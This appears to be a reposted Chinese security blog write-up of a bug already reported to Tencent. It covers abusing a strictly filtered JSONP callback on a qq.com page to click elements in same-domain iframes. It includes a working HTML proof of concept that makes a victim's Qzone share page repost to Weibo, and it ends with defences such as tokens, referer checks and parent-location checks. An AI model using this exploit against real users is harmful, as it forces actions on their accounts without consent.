今天扯淡一种另类的csrf:通过低敏感度,所以没有csrf防护的页面,来操作高敏感度的页面,比如微博加粉,发微博云云。
/* 无耻的小注释
这个问题已经在腾讯漏洞报告平台报告,觉得比较好玩,故扯出来发到zone里,让大家乐乐。
腾讯这样的忽略点应该不少,大家可以再挖挖。
*/
话说某个月高风黑,伸手不见黑夜的五指,菜逼哥正蛋疼的挖着tx的洞,为了换几个公仔给妹纸逗乐,下意识地在火狐界面下按下了F12。
据某XX的经验,那些看得见的页面,屌丝程序猿们基本都有防护,那些看不见得地方最容易出问题。在web2.0的今天,界面上最看不见的东西是什么,那当然各种回调了。所以按F12找各种json、callback,无往不利。
就在菜逼哥按下F12的那个时刻,一个网址映入菜逼哥的眼帘:
http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=callback
于是,熟练的手起刀落,查看起源代码:
1
2
3
4
5
6
7
8
|
<script type=“text/javascript”>
<!–
document.domain=‘qq.com’;
try {
callback({‘cmd’:‘login’, ‘result’:0});
} catch (e) {}
//–>
</script>
|
呵呵,又一个写在script标签中的回调。各位现在可以尽情的fuzz一下,此处回调对回调名字过滤甚是严格,只允许a-zA-Z0-9[]’”.这些字符。妄图alert(/hacked by 路人甲@wooyun/)的希望都破灭了
似乎没戏了,不过,似乎,总感觉哪里不太对劲的样子。。。。
仔细琢磨琢磨。。。。
利用点
似乎
就
出在
那个
小数点上
著名的“风骚爱情湿人学者”韩寒童鞋曾经曰过,什么叫现代湿,把散文拆开,分行来写就对了。
菜逼哥一直对那些会写湿的人很仰慕,就也附庸风雅,写了上面这一小段,大家凑合着看看?
大胆假设一下,如果callback的取值是parent.iframe_id.element_id.click,那么位于父页面中,iframe引用了与其同域的页面中的元素、函数这些东西,会不会触发、调用呢?
一个声音高叫着:答案是有的
既然答案是有的,菜逼哥我就不罗嗦了,先放出利用代码再说吧:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
<html><body>
<script>
function step1(){
var obj=document.createElement(“iframe”);
obj.src=“http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.web_weibo.click”;
document.body.appendChild(obj);
setTimeout(“step2();”,100);
}
function step2(){
var obj=document.createElement(“iframe”);
obj.src=“http://dict.py.qq.com/cgi-bin/login?cmd=login&js_tag=1&callback=parent.xx.postButton.click”;
document.body.appendChild(obj);
}
</script>
<iframe id=‘xx’ name=‘xx’ src=‘http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://cnssuestc.org/’ onload=“javascript:step1();” width=“1000″ height=“1000″ ></iframe>
</body></html>
|
http://sns.qzone.qq.com/cgi-bin/qzshare/cgi_qzshare_onekey?url=http://91ri.org/
这个页面是qq空间的一键分享网址的页面,访问下就会看到,页面左下角有一个同时转发到微博云云。
然后呢,代码应该也不需要解释了,大家都看得懂。
这样的问题说大不大,说小不小,关键就看到被操作页面有没有敏感的函数、元素可以被调用了。
防范的话,应该也是比较简单的,在操作原页面做普通的csrf防护:加token也好,referer判断也行;
原页面限制下小数点出现的次数:比如http://e.qq.com/ec/verifymail.php?script&callback=parent.xx这个页面,只允许使用一个小数点,那几乎就没什么想法了。如果有哪位大犇有利用思路,欢迎回帖指出。
被操作页面判断top.location,parent.location是否为可信域名下的页面:这个可能容易疏漏。whatever,也是一种限制被利用的方式
最后给两个效果图吧
91ri.org:callback调用key文件再发布微博,挺好的思路,可以mark一下。
相关文章推荐《点击劫持(ClickJacking)的小科普》《CSRF漏洞详细说明》
link:http://zone.wooyun.org/content/3471
本文由网络安全攻防研究室(www.91ri.org)信息安全小组收集整理,转载请注明出处。
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号